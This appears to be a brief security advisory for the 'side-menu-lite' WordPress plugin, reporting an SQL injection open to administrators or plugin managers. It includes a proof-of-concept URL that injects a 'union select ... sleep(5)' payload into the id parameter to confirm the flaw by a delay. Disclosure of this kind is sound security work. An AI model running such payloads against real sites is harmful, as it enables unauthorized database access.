The plugin does not properly sanitize input values from the browser when building an SQL statement. Users with the administrator role or permission to manage this plugin could perform an SQL Injection attack.
http://www.example.com/wp-admin/admin.php?page=side-menu-lite&tab=add-new&act=duplicate&id=0 union select 1,2,sleep(5)
Visiting the page will be delayed by 5 seconds, due to the sleep(5) injected in to the SQL query.